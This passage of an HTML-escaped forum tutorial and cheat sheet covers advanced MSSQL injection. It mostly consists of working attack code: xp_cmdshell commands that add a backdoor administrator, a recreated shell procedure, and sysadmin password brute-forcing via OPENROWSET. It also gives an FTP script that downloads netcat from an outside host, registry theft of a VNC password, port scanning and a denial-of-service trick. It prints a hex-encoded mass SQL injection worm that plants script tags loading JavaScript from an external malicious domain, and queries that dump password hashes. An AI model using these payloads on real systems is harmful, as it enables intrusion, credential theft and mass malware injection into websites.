/&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_availablemedia - Reveals the available drives on the machine&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_dirtree - Allows a directory tree to be obtained&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_enumdsn - Enumerates ODBC data sources on the server&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_makecab - Allows the user to create a compressed archive of files on the server&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_ntsec_enumdomains - Enumerates domains that the server can access&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_terminate_process - Terminate a process (PID)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_loginconfig - Login mode&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x04b] - Advanced SQL Injection Techniques&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;xp_cmdshell&quot; Stored procedures, executes any command shell in the server with the same permissions that it is&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; currently running.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; enabled again using sp_configure)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC master.dbo.xp_cmdshell &#39;net user meister meister1234 /add&#39; ;-- //Use for add user &quot;meister&quot; into system.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC master.dbo.xp_cmdshell &#39;net localgroup administrators meister /add&#39; ;-- //Use for escalating privilege&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;meister&quot; to admin group&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Example through SQL injection in a numeric field via a GET request:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/news.asp?id=1; exec master.dbo.xp_cmdshell &#39;command&#39;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; On MSSQL 2005 you may need to reactivate xp_cmdshell first as it&#39;s disabled by default:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC sp_configure &#39;show advanced options&#39;, 1;--&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; RECONFIGURE;--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC sp_configure &#39;xp_cmdshell&#39;, 1;--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; RECONFIGURE;--&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; On MSSQL 2000:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If you have &#39;sa&#39; privileges but xp_cmdshell has been disabled/removed with sp_dropextendedproc,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; we can simply inject the following code:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC sp_addextendedproc &#39;xp_anyname&#39;, &#39;xp_log70.dll&#39;;--&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This creates a new stored procedure &#39;xp_anyname&#39; linked to xp_log70.dll, which provides the xp_cmdshell&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; functionality.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; need to inject the following code:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DECLARE @ShellID int&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXECUTE @OLEResult = sp_OACreate &#39;WScript.Shell&#39;, @ShellID OUT&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR (&#39;CreateObject %0X&#39;, 14, 1, @OLEResult)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXECUTE @OLEResult = sp_OAMethod @ShellID, &#39;Run&#39;, Null, @cmd, 0, @Wait&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR (&#39;Run %0X&#39;, 14, 1, @OLEResult)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return @result&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ** Tip **&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [Question]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Determined that the web application connects to the DB with unprivileged account.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; So we can&#39;t execute XP_CMDSHELL or access any interesting data ?&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [Answer]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; It&#39;s not the end, First we must enumerate MSSQL user accounts that have system administrator privileges.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ----------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/news.asp?id=1 union all select null,null,name,null,null,null,null from master..syslogins&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; where name not in (&#39;sa&#39;) and sysadmin=1;--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Result :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; -------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sa&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Meister&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; example&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We can use &quot;OPENROWSET&quot; to re-connect to the same database server under each enumerated&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sysadmin account and guess passwords. This was automated via a Perl script to do brute-force password guessing&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; through the SQL injection:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ----------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/news.asp?id=1 union select * from openrowset (&#39;SQLoledb&#39;,&#39;server=VICTIMDBNAME;uid=$US&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ER;pwd=$PASS&#39;,&#39;select * from master..sysusers&#39;)--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Result: Found that &quot;Meister&quot; has a &quot;1234&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Leveraged the &quot;OPENDATASOURCE&quot; function to execute a stored procedure on the database, under the &quot;Meister&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; system administrator credentials:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/news.asp?id=1; EXEC opendatasource(&#39;SQLoledb&#39;,&#39;Persist Security&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Info=False;DataSource=VICTIMDBNAME;UserID=Meister;Pass word=1234&#39;).master&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .dbo.xp_cmdshell &#39;net user hacklol 1234 /add&#39;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Dirty Attack: use TFTP Netcat and run a reverse shell. Gained Internet access to the internal network.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; = How about Upload of executables ? =&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; target DB Server.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; connections to the tester&#39;s machine,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; all that is needed is to inject the following queries:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec master..xp_cmdshell &#39;echo open ftp.tester.org &amp;gt; ftpscript.txt&#39;;--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec master..xp_cmdshell &#39;echo USER &amp;gt;&amp;gt; ftpscript.txt&#39;;--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec master..xp_cmdshell &#39;echo PASS &amp;gt;&amp;gt; ftpscript.txt&#39;;--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec master..xp_cmdshell &#39;echo bin &amp;gt;&amp;gt; ftpscript.txt&#39;;--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec master..xp_cmdshell &#39;echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt&#39;;--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec master..xp_cmdshell &#39;echo quit &amp;gt;&amp;gt; ftpscript.txt&#39;;--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec master..xp_cmdshell &#39;ftp -s:ftpscript.txt&#39;;--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; = How about Retrieving VNC Password from Registry ? =&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;; declare @out binary(8)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec master..xp_regread&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; @rootkey = &#39;HKEY_LOCAL_MACHINE&#39;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; @key = &#39;SOFTWARE\ORL\WinVNC3\Default&#39;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; @value_name=&#39;password&#39;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; @value = @out output&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; select cast (@out as bigint) as x into TEMP--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39; and 1 in (select cast(x as varchar) from temp)--&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; = How about Port Scanning ? =&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We can use SQL injection vulnerability as a rudimentary IP/Port Scanner of the Internal Network or Internet&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ----------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/news.asp?id=1 union select * from openrowset&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&#39;SQLoledb&#39;,&#39;uid=sa;pwd=;Network=DBMSSOCN;Address=10.10.10.12,80;timeout=5&#39;,&#39;select * from table&#39;)--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This Code will outbound the connection to 10.10.10.12 over port 80. If the port is closed, the timeout (5&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; seconds)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; in parameter will be consumed and display error message:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;SQL Server does not exist or access denied&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If port is open, the timeout would not be consumed and error messages will returned:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;General network error. Check your network documentation&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; or&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;OLE DB provider &#39;sqloledb&#39; reported an error. The provider did not give any information about the error.&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This technique, We will be able to map open ports on the IP addresses of hosts on the internal network (w00t&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; !!)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ** Note **&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This technique can use for Denial of Service (DoS). Just change port to some port such as: FTP (21), and change&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; timeout too high (500).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; It&#39;s make many connections to target over FTP service (port 21)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x04c] - Mass MSSQL Injection Worms&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Recently, we came across a particularly interesting type of SQL Injection that, at times, can be quite&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; difficult to clean, even with the most robust database backup and recovery scheme. This attack is conducted&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; with the help of an Internet robot—also known as malbot—which attacks its prospects daily. It is likely that&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; such a malbot fires the series of injection attempts continuously and conditionally until the malicious script&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; references are sensed on the targeted web pages. There is nothing new in the way that the following T-SQL is&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; injected. Yet, the generic nature of the script is somewhat interesting to see.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQLi worm :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C00400043002000&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 76006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F00430&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 07500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E006900&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007800740079&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 00700065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS%20NVARCHAR(4000));EXEC(@S);--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; When we decode this SQLi Code with Hex:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQLi worm Decoded :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DECLARE @T VARCHAR(255)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DECLARE @C VARCHAR(255)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DECLARE Table_Cursor CURSOR FOR&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT [A].[Name], .[Name]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FROM sysobjects AS [A], syscolumns AS&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WHERE [A].[ID] = .[ID] AND&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [A].[XType] = &#39;U&#39; /* Table (User-Defined) */ AND&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (.[XType] = 99 /* NTEXT */ OR&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .[XType] = 35 /* TEXT */ OR&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .[XType] = 231 /* SYSNAME */ OR&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .[XType] = 167 /* VARCHAR */)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; OPEN Table_Cursor&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FETCH NEXT FROM Table_Cursor INTO @T,@C&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WHILE (@@FETCH_STATUS = 0)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; BEGIN&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC(&#39;UPDATE [&#39; + @T + &#39;] SET [&#39; + @C + &#39;] = RTRIM(CONVERT(VARCHAR, [&#39; + @C + &#39;])) + &#39;&#39;&lt;script br=&quot;br&quot;&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; src=&quot;http://www.fengnima.cn/k.js&quot;&gt;&lt;/script&gt;&#39;&#39;&#39;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FETCH NEXT FROM Table_Cursor INTO @T, @C&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; END&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; CLOSE Table_Cursor&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DEALLOCATE Table_Cursor&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; What happens as a result? It finds all text fields in the database and adds a link to malicious javascript &lt;script src=&quot;http://www.fengnima.cn/k.js&quot;&gt;&lt;/script&gt; to each and every one of them which will make your website display them automatically.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dynamic value such as an article ID, product ID, etc) parameter and tried to use that to upload their SQL injection code.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[0x05] - MSSQL Injection Cheat Sheet&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ** Some of the queries in the table below can only be run by an admin (SA Privilege). These are marked with &quot;-- priv&quot; at the end of the query. **&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Version&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT @@version&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Comments&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT 1 — comment&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT /*comment*/1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Current User&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT user_name();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT system_user();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT user;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; List Users&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT name FROM master..syslogins&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; List Password Hashes&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT name, password FROM master..sysxlogins — priv, mssql 2000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT name + &#39;-&#39; + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; List Privileges&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; TODO&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; List DBA Accounts&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; TODO&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Current Database&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT DB_NAME()&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; List Databases&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT name FROM master..sysdatabases;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT DB_NAME(N); — for N = 0, 1, 2, …&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; List Columns&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = &#39;mytable&#39;)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; List Tables&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT name FROM master..sysobjects WHERE xtype = &#39;U&#39;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Find Tables From Column Name&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; – NB: This example works only for the current database. If you wan&#39;t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = &#39;U&#39; AND syscolumns.name LIKE &#39;%PASSWORD%&#39; — this lists table, column for each column containing the word &#39;password&#39;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Select Nth Row&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Select Nth Char&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT substring(&#39;abcd&#39;, 3, 1) — returns c&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Bitwise AND&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT 6 &amp;amp; 2 — returns 2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT 6 &amp;amp; 1 — returns 0&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ASCII Value -&amp;gt; Char&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT char(0Ã—41) — returns A&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Char -&amp;gt; ASCII Value&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT ascii(&#39;A&#39;) - returns 65&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Casting&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT CAST(&#39;1&#39; as int);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT CAST(1 as char)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; String Concatenation&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT &#39;A&#39; + &#39;B&#39; - returns AB&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If Statement&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Case Statement&lt;br 